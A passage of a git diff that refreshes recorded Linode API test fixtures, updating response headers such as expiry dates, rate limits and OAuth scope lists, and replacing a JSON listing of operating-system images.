default-src 'none' Content-Type: - application/json - Server: - - nginx + Expires: + - Fri, 31 May 2024 17:04:45 GMT + Pragma: + - no-cache Strict-Transport-Security: - max-age=31536000 Vary: @@ -113,7 +119,7 @@ interactions: X-Oauth-Scopes: - unknown X-Ratelimit-Limit: - - "800" + - "400" X-Xss-Protection: - 1; mode=block status: 200 OK diff --git a/test/integration/fixtures/ExampleGetType_missing.yaml b/test/integration/fixtures/ExampleGetType_missing.yaml index 9a51cb2ed..07ea8d373 100644 --- a/test/integration/fixtures/ExampleGetType_missing.yaml +++ b/test/integration/fixtures/ExampleGetType_missing.yaml @@ -23,13 +23,17 @@ interactions: Access-Control-Allow-Origin: - '*' Cache-Control: - - private, max-age=900 + - max-age=0, no-cache, no-store + Connection: + - keep-alive Content-Length: - "37" Content-Type: - application/json - Server: - - nginx + Expires: + - Fri, 31 May 2024 17:04:44 GMT + Pragma: + - no-cache Vary: - Authorization, X-Filter X-Accepted-Oauth-Scopes: @@ -37,9 +41,12 @@ interactions: X-Frame-Options: - DENY X-Oauth-Scopes: - - '*' + - account:read_write databases:read_write domains:read_write events:read_write + firewall:read_write images:read_write ips:read_write linodes:read_write lke:read_write + longview:read_write nodebalancers:read_write object_storage:read_write stackscripts:read_write + volumes:read_write vpc:read_write X-Ratelimit-Limit: - - "800" + - "400" status: 404 Not Found code: 404 duration: "" diff --git a/test/integration/fixtures/ExampleListImages_all.yaml b/test/integration/fixtures/ExampleListImages_all.yaml index 55e1851ef..981242016 100644 --- a/test/integration/fixtures/ExampleListImages_all.yaml +++ b/test/integration/fixtures/ExampleListImages_all.yaml @@ -14,184 +14,183 @@ interactions: url: https://api.linode.com/v4beta/images?page=1 method: GET response: - body: '{"pages": 1, "data": [{"id": "private/23849498", "label": "linode54973909 - - AlmaLinux 8 Disk", "description": "", "created": "2018-01-02T03:04:05", "updated": - null, "size": 3719, "created_by": null, "type": "automatic", "is_public": false, - "deprecated": false, "vendor": null, "expiry": "2018-01-02T03:04:05", "eol": - null, "status": "available", "capabilities": []}, {"id": "private/23849499", - "label": "linode54973867 - AlmaLinux 8 Disk", "description": "", "created": - "2018-01-02T03:04:05", "updated": null, "size": 3741, "created_by": null, "type": - "automatic", "is_public": false, "deprecated": false, "vendor": null, "expiry": - "2018-01-02T03:04:05", "eol": null, "status": "available", "capabilities": []}, - {"id": "private/23849731", "label": "test-image", "description": "", "created": - "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "size": 358, "created_by": - "lgarber-dev", "type": "manual", "is_public": false, "deprecated": false, "vendor": - null, "expiry": null, "eol": null, "status": "available", "capabilities": []}, - {"id": "linode/almalinux8", "label": "AlmaLinux 8", "deprecated": false, "size": - 1700, "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "description": - "", "created_by": "linode", "type": "manual", "is_public": true, "vendor": "AlmaLinux", - "expiry": null, "eol": "2018-01-02T03:04:05", "status": "available", "capabilities": - []}, {"id": "linode/almalinux9", "label": "AlmaLinux 9", "deprecated": false, - "size": 1700, "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", - "description": "", "created_by": "linode", "type": "manual", "is_public": true, - "vendor": "AlmaLinux", "expiry": null, "eol": "2018-01-02T03:04:05", "status": - "available", "capabilities": []}, {"id": "linode/alpine3.16", "label": "Alpine - 3.16", "deprecated": false, "size": 400, "created": "2018-01-02T03:04:05", "updated": + body: '{"data": [{"id": "linode/almalinux8", "label": "AlmaLinux 8", "deprecated": + false, "size": 2700, "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", + "description": "", "created_by": "linode", "type": "manual", "tags": [], "is_public": + true, "vendor": "AlmaLinux", "expiry": null, "eol": "2018-01-02T03:04:05", "status": + "available", "capabilities": []}, {"id": "linode/almalinux9", "label": "AlmaLinux + 9", "deprecated": false, "size": 1700, "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "description": "", "created_by": "linode", "type": "manual", - "is_public": true, "vendor": "Alpine", "expiry": null, "eol": "2018-01-02T03:04:05", - "status": "available", "capabilities": []}, {"id": "linode/alpine3.17", "label": - "Alpine 3.17", "deprecated": false, "size": 400, "created": "2018-01-02T03:04:05", - "updated": "2018-01-02T03:04:05", "description": "", "created_by": "linode", - "type": "manual", "is_public": true, "vendor": "Alpine", "expiry": null, "eol": - "2018-01-02T03:04:05", "status": "available", "capabilities": []}, {"id": "linode/alpine3.18", - "label": "Alpine 3.18", "deprecated": false, "size": 400, "created": "2018-01-02T03:04:05", - "updated": "2018-01-02T03:04:05", "description": "", "created_by": "linode", - "type": "manual", "is_public": true, "vendor": "Alpine", "expiry": null, "eol": - "2018-01-02T03:04:05", "status": "available", "capabilities": []}, {"id": "linode/alpine3.19", - "label": "Alpine 3.19", "deprecated": false, "size": 400, "created": "2018-01-02T03:04:05", - "updated": "2018-01-02T03:04:05", "description": "", "created_by": "linode", - "type": "manual", "is_public": true, "vendor": "Alpine", "expiry": null, "eol": - "2018-01-02T03:04:05", "status": "available", "capabilities": []}, {"id": "linode/arch", - "label": "Arch Linux", "deprecated": false, "size": 1500, "created": "2018-01-02T03:04:05", - "updated": "2018-01-02T03:04:05", "description": "", "created_by": "linode", - "type": "manual", "is_public": true, "vendor": "Arch", "expiry": null, "eol": - null, "status": "available", "capabilities": []}, {"id": "linode/centos7", "label": - "CentOS 7", "deprecated": false, "size": 2800, "created": "2018-01-02T03:04:05", - "updated": "2018-01-02T03:04:05", "description": "", "created_by": "linode", - "type": "manual", "is_public": true, "vendor": "CentOS", "expiry": null, "eol": - "2018-01-02T03:04:05", "status": "available", "capabilities": []}, {"id": "linode/centos-stream8", - "label": "CentOS Stream 8", "deprecated": false, "size": 2600, "created": "2018-01-02T03:04:05", - "updated": "2018-01-02T03:04:05", "description": "", "created_by": "linode", - "type": "manual", "is_public": true, "vendor": "CentOS", "expiry": null, "eol": - "2018-01-02T03:04:05", "status": "available", "capabilities": []}, {"id": "linode/centos-stream9", - "label": "CentOS Stream 9", "deprecated": false, "size": 1200, "created": "2018-01-02T03:04:05", - "updated": "2018-01-02T03:04:05", "description": "", "created_by": "linode", - "type": "manual", "is_public": true, "vendor": "CentOS", "expiry": null, "eol": - "2018-01-02T03:04:05", "status": "available", "capabilities": []}, {"id": "linode/debian10", - "label": "Debian 10", "deprecated": false, "size": 1500, "created": "2018-01-02T03:04:05", + "tags": [], "is_public": true, "vendor": "AlmaLinux", "expiry": null, "eol": + "2018-01-02T03:04:05", "status": "available", "capabilities": []}, {"id": "linode/alpine3.16", + "label": "Alpine 3.16", "deprecated": false, "size": 400, "created": "2018-01-02T03:04:05", + "updated": "2018-01-02T03:04:05", "description": "", "created_by": "linode", + "type": "manual", "tags": [], "is_public": true, "vendor": "Alpine", "expiry": + null, "eol": "2018-01-02T03:04:05", "status": "available", "capabilities": []}, + {"id": "linode/alpine3.17", "label": "Alpine 3.17", "deprecated": false, "size": + 400, "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "description": + "", "created_by": "linode", "type": "manual", "tags": [], "is_public": true, + "vendor": "Alpine", "expiry": null, "eol": "2018-01-02T03:04:05", "status": + "available", "capabilities": []}, {"id": "linode/alpine3.18", "label": "Alpine + 3.18", "deprecated": false, "size": 400, "created": "2018-01-02T03:04:05", "updated": + "2018-01-02T03:04:05", "description": "", "created_by": "linode", "type": "manual", + "tags": [], "is_public": true, "vendor": "Alpine", "expiry": null, "eol": "2018-01-02T03:04:05", + "status": "available", "capabilities": []}, {"id": "linode/alpine3.19", "label": + "Alpine 3.19", "deprecated": false, "size": 400, "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "description": "", "created_by": "linode", - "type": "manual", "is_public": true, "vendor": "Debian", "expiry": null, "eol": - "2018-01-02T03:04:05", "status": "available", "capabilities": []}, {"id": "linode/debian11", - "label": "Debian 11", "deprecated": false, "size": 1500, "created": "2018-01-02T03:04:05", + "type": "manual", "tags": [], "is_public": true, "vendor": "Alpine", "expiry": + null, "eol": "2018-01-02T03:04:05", "status": "available", "capabilities": []}, + {"id": "linode/arch", "label": "Arch Linux", "deprecated": false, "size": 1500, + "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "description": + "", "created_by": "linode", "type": "manual", "tags": [], "is_public": true, + "vendor": "Arch", "expiry": null, "eol": null, "status": "available", "capabilities": + []}, {"id": "linode/centos7", "label": "CentOS 7", "deprecated": false, "size": + 2800, "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "description": + "", "created_by": "linode", "type": "manual", "tags": [], "is_public": true, + "vendor": "CentOS", "expiry": null, "eol": "2018-01-02T03:04:05", "status": + "available", "capabilities": []}, {"id": "linode/centos-stream8", "label": "CentOS + Stream 8", "deprecated": false, "size": 2600, "created": "2018-01-02T03:04:05", + "updated": "2018-01-02T03:04:05", "description": "", "created_by": "linode", + "type": "manual", "tags": [], "is_public": true, "vendor": "CentOS", "expiry": + null, "eol": "2018-01-02T03:04:05", "status": "available", "capabilities": []}, + {"id": "linode/centos-stream9", "label": "CentOS Stream 9", "deprecated": false, + "size": 1200, "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", + "description": "", "created_by": "linode", "type": "manual", "tags": [], "is_public": + true, "vendor": "CentOS", "expiry": null, "eol": "2018-01-02T03:04:05", "status": + "available", "capabilities": []}, {"id": "linode/debian10", "label": "Debian + 10", "deprecated": false, "size": 1500, "created": "2018-01-02T03:04:05", "updated": + "2018-01-02T03:04:05", "description": "", "created_by": "linode", "type": "manual", + "tags": [], "is_public": true, "vendor": "Debian", "expiry": null, "eol": "2018-01-02T03:04:05", + "status": "available", "capabilities": []}, {"id": "linode/debian11", "label": + "Debian 11", "deprecated": false, "size": 1500, "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "description": "", "created_by": "linode", - "type": "manual", "is_public": true, "vendor": "Debian", "expiry": null, "eol": - "2018-01-02T03:04:05", "status": "available", "capabilities": ["cloud-init"]}, + "type": "manual", "tags": [], "is_public": true, "vendor": "Debian", "expiry": + null, "eol": "2018-01-02T03:04:05", "status": "available", "capabilities": ["cloud-init"]}, {"id": "linode/debian12", "label": "Debian 12", "deprecated": false, "size": 1500, "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "description": - "", "created_by": "linode", "type": "manual", "is_public": true, "vendor": "Debian", - "expiry": null, "eol": "2018-01-02T03:04:05", "status": "available", "capabilities": - []}, {"id": "linode/fedora38", "label": "Fedora 38", "deprecated": false, "size": - 1600, "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "description": - "", "created_by": "linode", "type": "manual", "is_public": true, "vendor": "Fedora", - "expiry": null, "eol": "2018-01-02T03:04:05", "status": "available", "capabilities": - []}, {"id": "linode/fedora39", "label": "Fedora 39", "deprecated": false, "size": - 1800, "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "description": - "", "created_by": "linode", "type": "manual", "is_public": true, "vendor": "Fedora", - "expiry": null, "eol": "2018-01-02T03:04:05", "status": "available", "capabilities": - []}, {"id": "linode/gentoo", "label": "Gentoo", "deprecated": false, "size": - 6500, "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "description": - "", "created_by": "linode", "type": "manual", "is_public": true, "vendor": "Gentoo", - "expiry": null, "eol": null, "status": "available", "capabilities": []}, {"id": - "linode/kali", "label": "Kali Linux", "deprecated": false, "size": 1536, "created": - "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "description": "", - "created_by": "linode", "type": "manual", "is_public": true, "vendor": "Kali", - "expiry": null, "eol": null, "status": "available", "capabilities": []}, {"id": - "linode/debian11-kube-v1.26.1", "label": "Kubernetes 1.26.1 on Debian 11", "deprecated": - false, "size": 3500, "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", - "description": "", "created_by": "linode", "type": "manual", "is_public": true, + "", "created_by": "linode", "type": "manual", "tags": [], "is_public": true, "vendor": "Debian", "expiry": null, "eol": "2018-01-02T03:04:05", "status": - "available", "capabilities": []}, {"id": "linode/debian11-kube-v1.26.12", "label": - "Kubernetes 1.26.12 on Debian 11", "deprecated": false, "size": 3500, "created": - "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "description": "", - "created_by": "linode", "type": "manual", "is_public": true, "vendor": "Debian", - "expiry": null, "eol": "2018-01-02T03:04:05", "status": "available", "capabilities": - []}, {"id": "linode/debian11-kube-v1.26.3", "label": "Kubernetes 1.26.3 on Debian - 11", "deprecated": false, "size": 3500, "created": "2018-01-02T03:04:05", "updated": + "available", "capabilities": []}, {"id": "linode/fedora38", "label": "Fedora + 38", "deprecated": false, "size": 1600, "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "description": "", "created_by": "linode", "type": "manual", - "is_public": true, "vendor": "Debian", "expiry": null, "eol": "2018-01-02T03:04:05", - "status": "available", "capabilities": []}, {"id": "linode/debian11-kube-v1.27.5", - "label": "Kubernetes 1.27.5 on Debian 11", "deprecated": false, "size": 3500, + "tags": [], "is_public": true, "vendor": "Fedora", "expiry": null, "eol": "2018-01-02T03:04:05", + "status": "available", "capabilities": []}, {"id": "linode/fedora39", "label": + "Fedora 39", "deprecated": false, "size": 1800, "created": "2018-01-02T03:04:05", + "updated": "2018-01-02T03:04:05", "description": "", "created_by": "linode", + "type": "manual", "tags": [], "is_public": true, "vendor": "Fedora", "expiry": + null, "eol": "2018-01-02T03:04:05", "status": "available", "capabilities": []}, + {"id": "linode/fedora40", "label": "Fedora 40", "deprecated": false, "size": + 2000, "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "description": + "", "created_by": "linode", "type": "manual", "tags": [], "is_public": true, + "vendor": "Fedora", "expiry": null, "eol": "2018-01-02T03:04:05", "status": + "available", "capabilities": ["cloud-init"]}, {"id": "linode/gentoo", "label": + "Gentoo", "deprecated": false, "size": 6500, "created": "2018-01-02T03:04:05", + "updated": "2018-01-02T03:04:05", "description": "", "created_by": "linode", + "type": "manual", "tags": [], "is_public": true, "vendor": "Gentoo", "expiry": + null, "eol": null, "status": "available", "capabilities": []}, {"id": "linode/kali", + "label": "Kali Linux", "deprecated": false, "size": 1536, "created": "2018-01-02T03:04:05", + "updated": "2018-01-02T03:04:05", "description": "", "created_by": "linode", + "type": "manual", "tags": [], "is_public": true, "vendor": "Kali", "expiry": + null, "eol": null, "status": "available", "capabilities": []}, {"id": "linode/debian11-kube-v1.27.9", + "label": "Kubernetes 1.27.9 on Debian 11", "deprecated": false, "size": 3500, "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "description": - "", "created_by": "linode", "type": "manual", "is_public": true, "vendor": "Debian", - "expiry": null, "eol": "2018-01-02T03:04:05", "status": "available", "capabilities": - []}, {"id": "linode/debian11-kube-v1.27.9", "label": "Kubernetes 1.27.9 on Debian - 11", "deprecated": false, "size": 3500, "created": "2018-01-02T03:04:05", "updated": - "2018-01-02T03:04:05", "description": "", "created_by": "linode", "type": "manual", - "is_public": true, "vendor": "Debian", "expiry": null, "eol": "2018-01-02T03:04:05", - "status": "available", "capabilities": []}, {"id": "linode/debian11-kube-v1.28.3", - "label": "Kubernetes 1.28.3 on Debian 11", "deprecated": false, "size": 3500, + "", "created_by": "linode", "type": "manual", "tags": [], "is_public": true, + "vendor": "Debian", "expiry": null, "eol": "2018-01-02T03:04:05", "status": + "available", "capabilities": ["cloud-init"]}, {"id": "linode/debian12-kube-v1.27.9", + "label": "Kubernetes 1.27.9 on Debian 12", "deprecated": false, "size": 3500, "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "description": - "", "created_by": "linode", "type": "manual", "is_public": true, "vendor": "Debian", - "expiry": null, "eol": "2018-01-02T03:04:05", "status": "available", "capabilities": - []}, {"id": "linode/opensuse15.5", "label": "openSUSE Leap 15.5", "deprecated": - false, "size": 1550, "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", - "description": "", "created_by": "linode", "type": "manual", "is_public": true, - "vendor": "openSUSE", "expiry": null, "eol": "2018-01-02T03:04:05", "status": - "available", "capabilities": []}, {"id": "linode/rocky8", "label": "Rocky Linux - 8", "deprecated": false, "size": 2300, "created": "2018-01-02T03:04:05", "updated": + "", "created_by": "linode", "type": "manual", "tags": [], "is_public": true, + "vendor": "Debian", "expiry": null, "eol": "2018-01-02T03:04:05", "status": + "available", "capabilities": []}, {"id": "linode/debian11-kube-v1.28.3", "label": + "Kubernetes 1.28.3 on Debian 11", "deprecated": false, "size": 3500, "created": + "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "description": "", + "created_by": "linode", "type": "manual", "tags": [], "is_public": true, "vendor": + "Debian", "expiry": null, "eol": "2018-01-02T03:04:05", "status": "available", + "capabilities": ["cloud-init"]}, {"id": "linode/debian12-kube-v1.28.3", "label": + "Kubernetes 1.28.3 on Debian 12", "deprecated": false, "size": 3500, "created": + "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "description": "", + "created_by": "linode", "type": "manual", "tags": [], "is_public": true, "vendor": + "Debian", "expiry": null, "eol": "2018-01-02T03:04:05", "status": "available", + "capabilities": []}, {"id": "linode/debian11-kube-v1.29.2", "label": "Kubernetes + 1.29.2 on Debian 11", "deprecated": false, "size": 3500, "created": "2018-01-02T03:04:05", + "updated": "2018-01-02T03:04:05", "description": "", "created_by": "linode", + "type": "manual", "tags": [], "is_public": true, "vendor": "Debian", "expiry": + null, "eol": "2018-01-02T03:04:05", "status": "available", "capabilities": ["cloud-init"]}, + {"id": "linode/debian12-kube-v1.29.2", "label": "Kubernetes 1.29.2 on Debian + 12", "deprecated": false, "size": 3500, "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "description": "", "created_by": "linode", "type": "manual", - "is_public": true, "vendor": "Rocky", "expiry": null, "eol": "2018-01-02T03:04:05", - "status": "available", "capabilities": []}, {"id": "linode/rocky9", "label": - "Rocky Linux 9", "deprecated": false, "size": 2300, "created": "2018-01-02T03:04:05", - "updated": "2018-01-02T03:04:05", "description": "", "created_by": "linode", - "type": "manual", "is_public": true, "vendor": "Rocky", "expiry": null, "eol": - "2018-01-02T03:04:05", "status": "available", "capabilities": []}, {"id": "linode/slackware15.0", - "label": "Slackware 15.0", "deprecated": false, "size": 11000, "created": "2018-01-02T03:04:05", - "updated": "2018-01-02T03:04:05", "description": "", "created_by": "linode", - "type": "manual", "is_public": true, "vendor": "Slackware", "expiry": null, - "eol": null, "status": "available", "capabilities": []}, {"id": "linode/ubuntu20.04", + "tags": [], "is_public": true, "vendor": "Debian", "expiry": null, "eol": "2018-01-02T03:04:05", + "status": "available", "capabilities": []}, {"id": "linode/opensuse15.5", "label": + "openSUSE Leap 15.5", "deprecated": false, "size": 1550, "created": "2018-01-02T03:04:05", + "updated": "2018-01-02T03:04:05", "description": "", "created_by": "linode", + "type": "manual", "tags": [], "is_public": true, "vendor": "openSUSE", "expiry": + null, "eol": "2018-01-02T03:04:05", "status": "available", "capabilities": []}, + {"id": "linode/rocky8", "label": "Rocky Linux 8", "deprecated": false, "size": + 2300, "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "description": + "", "created_by": "linode", "type": "manual", "tags": [], "is_public": true, + "vendor": "Rocky", "expiry": null, "eol": "2018-01-02T03:04:05", "status": "available", + "capabilities": []}, {"id": "linode/rocky9", "label": "Rocky Linux 9", "deprecated": + false, "size": 2300, "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", + "description": "", "created_by": "linode", "type": "manual", "tags": [], "is_public": + true, "vendor": "Rocky", "expiry": null, "eol": "2018-01-02T03:04:05", "status": + "available", "capabilities": []}, {"id": "linode/slackware15.0", "label": "Slackware + 15.0", "deprecated": false, "size": 11000, "created": "2018-01-02T03:04:05", + "updated": "2018-01-02T03:04:05", "description": "", "created_by": "linode", + "type": "manual", "tags": [], "is_public": true, "vendor": "Slackware", "expiry": + null, "eol": null, "status": "available", "capabilities": []}, {"id": "linode/ubuntu20.04", "label": "Ubuntu 20.04 LTS", "deprecated": false, "size": 2000, "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "description": "", "created_by": "linode", - "type": "manual", "is_public": true, "vendor": "Ubuntu", "expiry": null, "eol": - "2018-01-02T03:04:05", "status": "available", "capabilities": ["cloud-init"]}, + "type": "manual", "tags": [], "is_public": true, "vendor": "Ubuntu", "expiry": + null, "eol": "2018-01-02T03:04:05", "status": "available", "capabilities": ["cloud-init"]}, {"id": "linode/ubuntu22.04", "label": "Ubuntu 22.04 LTS", "deprecated": false, "size": 3500, "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", - "description": "", "created_by": "linode", "type": "manual", "is_public": true, - "vendor": "Ubuntu", "expiry": null, "eol": "2018-01-02T03:04:05", "status": + "description": "", "created_by": "linode", "type": "manual", "tags": [], "is_public": + true, "vendor": "Ubuntu", "expiry": null, "eol": "2018-01-02T03:04:05", "status": "available", "capabilities": ["cloud-init"]}, {"id": "linode/ubuntu23.04", "label": "Ubuntu 23.04", "deprecated": false, "size": 3500, "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "description": "", "created_by": "linode", - "type": "manual", "is_public": true, "vendor": "Ubuntu", "expiry": null, "eol": - "2018-01-02T03:04:05", "status": "available", "capabilities": []}, {"id": "linode/ubuntu23.10", - "label": "Ubuntu 23.10", "deprecated": false, "size": 3500, "created": "2018-01-02T03:04:05", + "type": "manual", "tags": [], "is_public": true, "vendor": "Ubuntu", "expiry": + null, "eol": "2018-01-02T03:04:05", "status": "available", "capabilities": []}, + {"id": "linode/ubuntu23.10", "label": "Ubuntu 23.10", "deprecated": false, "size": + 3500, "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "description": + "", "created_by": "linode", "type": "manual", "tags": [], "is_public": true, + "vendor": "Ubuntu", "expiry": null, "eol": "2018-01-02T03:04:05", "status": + "available", "capabilities": ["cloud-init"]}, {"id": "linode/ubuntu24.04", "label": + "Ubuntu 24.04 LTS", "deprecated": false, "size": 3500, "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "description": "", "created_by": "linode", - "type": "manual", "is_public": true, "vendor": "Ubuntu", "expiry": null, "eol": - "2018-01-02T03:04:05", "status": "available", "capabilities": ["cloud-init"]}, + "type": "manual", "tags": [], "is_public": true, "vendor": "Ubuntu", "expiry": + null, "eol": "2018-01-02T03:04:05", "status": "available", "capabilities": ["cloud-init"]}, {"id": "linode/debian9", "label": "Debian 9", "deprecated": true, "size": 1600, "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "description": - "", "created_by": "linode", "type": "manual", "is_public": true, "vendor": "Debian", - "expiry": null, "eol": "2018-01-02T03:04:05", "status": "available", "capabilities": - []}, {"id": "linode/fedora37", "label": "Fedora 37", "deprecated": true, "size": - 1800, "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "description": - "", "created_by": "linode", "type": "manual", "is_public": true, "vendor": "Fedora", - "expiry": null, "eol": "2018-01-02T03:04:05", "status": "available", "capabilities": - []}, {"id": "linode/opensuse15.4", "label": "openSUSE Leap 15.4", "deprecated": - true, "size": 1550, "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", - "description": "", "created_by": "linode", "type": "manual", "is_public": true, - "vendor": "openSUSE", "expiry": null, "eol": "2018-01-02T03:04:05", "status": - "available", "capabilities": []}, {"id": "linode/slackware14.1", "label": "Slackware - 14.1", "deprecated": true, "size": 1000, "created": "2018-01-02T03:04:05", "updated": - "2018-01-02T03:04:05", "description": null, "created_by": "linode", "type": - "manual", "is_public": true, "vendor": "Slackware", "expiry": null, "eol": "2018-01-02T03:04:05", - "status": "available", "capabilities": []}, {"id": "linode/slackware14.2", "label": - "Slackware 14.2", "deprecated": true, "size": 6000, "created": "2018-01-02T03:04:05", - "updated": "2018-01-02T03:04:05", "description": "", "created_by": "linode", - "type": "manual", "is_public": true, "vendor": "Slackware", "expiry": null, - "eol": "2018-01-02T03:04:05", "status": "available", "capabilities": []}, {"id": - "linode/ubuntu16.04lts", "label": "Ubuntu 16.04 LTS", "deprecated": true, "size": - 2700, "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "description": - "", "created_by": "linode", "type": "manual", "is_public": true, "vendor": "Ubuntu", - "expiry": null, "eol": "2018-01-02T03:04:05", "status": "available", "capabilities": - []}, {"id": "linode/ubuntu18.04", "label": "Ubuntu 18.04 LTS", "deprecated": - true, "size": 2700, "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", - "description": "", "created_by": "linode", "type": "manual", "is_public": true, - "vendor": "Ubuntu", "expiry": null, "eol": "2018-01-02T03:04:05", "status": - "available", "capabilities": []}, {"id": "linode/ubuntu22.10", "label": "Ubuntu - 22.10", "deprecated": true, "size": 3500, "created": "2018-01-02T03:04:05", - "updated": "2018-01-02T03:04:05", "description": "", "created_by": "linode", - "type": "manual", "is_public": true, "vendor": "Ubuntu", "expiry": null, "eol": - "2018-01-02T03:04:05", "status": "available", "capabilities": []}], "results": - 42, "page": 1}' + "", "created_by": "linode", "type": "manual", "tags": [], "is_public": true, + "vendor": "Debian", "expiry": null, "eol": "2018-01-02T03:04:05", "status": + "available", "capabilities": []}, {"id": "linode/fedora37", "label": "Fedora + 37", "deprecated": true, "size": 1800, "created": "2018-01-02T03:04:05", "updated": + "2018-01-02T03:04:05", "description": "", "created_by": "linode", "type": "manual", + "tags": [], "is_public": true, "vendor": "Fedora", "expiry": null, "eol": "2018-01-02T03:04:05", + "status": "available", "capabilities": []}, {"id": "linode/opensuse15.4", "label": + "openSUSE Leap 15.4", "deprecated": true, "size": 1550, "created": "2018-01-02T03:04:05", + "updated": "2018-01-02T03:04:05", "description": "", "created_by": "linode", + "type": "manual", "tags": [], "is_public": true, "vendor": "openSUSE", "expiry": + null, "eol": "2018-01-02T03:04:05", "status": "available", "capabilities": []}, + {"id": "linode/slackware14.1", "label": "Slackware 14.1", "deprecated": true, + "size": 1000, "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", + "description": null, "created_by": "linode", "type": "manual", "tags": [], "is_public": + true, "vendor": "Slackware", "expiry": null, "eol": "2018-01-02T03:04:05", "status": + "available", "capabilities": []}, {"id": "linode/slackware14.2", "label": "Slackware + 14.2", "deprecated": true, "size": 6000, "created": "2018-01-02T03:04:05", "updated": + "2018-01-02T03:04:05", "description": "", "created_by": "linode", "type": "manual", + "tags": [], "is_public": true, "vendor": "Slackware", "expiry": null, "eol": + "2018-01-02T03:04:05", "status": "available", "capabilities": []}, {"id": "linode/ubuntu16.04lts", + "label": "Ubuntu 16.04 LTS", "deprecated": true, "size": 2700, "created": "2018-01-02T03:04:05", + "updated": "2018-01-02T03:04:05", "description": "", "created_by": "linode", + "type": "manual", "tags": [], "is_public": true, "vendor": "Ubuntu", "expiry": + null, "eol": "2018-01-02T03:04:05", "status": "available", "capabilities": []}, + {"id": "linode/ubuntu18.04", "label": "Ubuntu 18.04 LTS", "deprecated": true, + "size": 2700, "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", + "description": "", "created_by": "linode", "type": "manual", "tags": [], "is_public": + true, "vendor": "Ubuntu", "expiry": null, "eol": "2018-01-02T03:04:05", "status": + "available", "capabilities": []}], "page": 1, "pages": 1, "results": 40}' headers: Access-Control-Allow-Credentials: - "true" @@ -212,7 +211,7 @@ interactions: Content-Type: - application/json Expires: - - Fri, 16 Feb 2024 17:56:11 GMT + - Fri, 31 May 2024 17:04:46 GMT Pragma: - no-cache Strict-Transport-Security: @@ -229,7 +228,10 @@ interactions: - DENY - DENY X-Oauth-Scopes: - - '*' + - account:read_write databases:read_write domains:read_write events:read_write + firewall:read_write images:read_write ips:read_write linodes:read_write lke:read_write + longview:read_write nodebalancers:read_write object_storage:read_write stackscripts:read_write + volumes:read_write vpc:read_write X-Ratelimit-Limit: - "20" X-Xss-Protection: diff --git a/test/integration/fixtures/ExampleListImages_badfilter.yaml b/test/integration/fixtures/ExampleListImages_badfilter.yaml index 93b06f80f..62f8b3247 100644 --- a/test/integration/fixtures/ExampleListImages_badfilter.yaml +++ b/test/integration/fixtures/ExampleListImages_badfilter.yaml @@ -33,7 +33,7 @@ interactions: Content-Type: - application/json Expires: - - Fri, 16 Feb 2024 17:56:11 GMT + - Fri, 31 May 2024 17:04:46 GMT Pragma: - no-cache Vary: @@ -43,7 +43,10 @@ interactions: X-Frame-Options: - DENY X-Oauth-Scopes: - - '*' + - account:read_write databases:read_write domains:read_write events:read_write + firewall:read_write images:read_write ips:read_write linodes:read_write lke:read_write + longview:read_write nodebalancers:read_write object_storage:read_write stackscripts:read_write + volumes:read_write vpc:read_write X-Ratelimit-Limit: - "20" status: 400 Bad Request diff --git a/test/integration/fixtures/ExampleListImages_notfound.yaml b/test/integration/fixtures/ExampleListImages_notfound.yaml index 446422b7a..a9946b230 100644 --- a/test/integration/fixtures/ExampleListImages_notfound.yaml +++ b/test/integration/fixtures/ExampleListImages_notfound.yaml @@ -39,7 +39,7 @@ interactions: Content-Type: - application/json Expires: - - Fri, 16 Feb 2024 17:56:11 GMT + - Fri, 31 May 2024 17:04:46 GMT Pragma: - no-cache Strict-Transport-Security: @@ -55,7 +55,10 @@ interactions: - DENY - DENY X-Oauth-Scopes: - - '*' + - account:read_write databases:read_write domains:read_write events:read_write + firewall:read_write images:read_write ips:read_write linodes:read_write lke:read_write + longview:read_write nodebalancers:read_write object_storage:read_write stackscripts:read_write + volumes:read_write vpc:read_write X-Ratelimit-Limit: - "20" X-Xss-Protection: diff --git a/test/integration/fixtures/ExampleListKernels_all.yaml b/test/integration/fixtures/ExampleListKernels_all.yaml index d2c5ee7a5..436a3da84 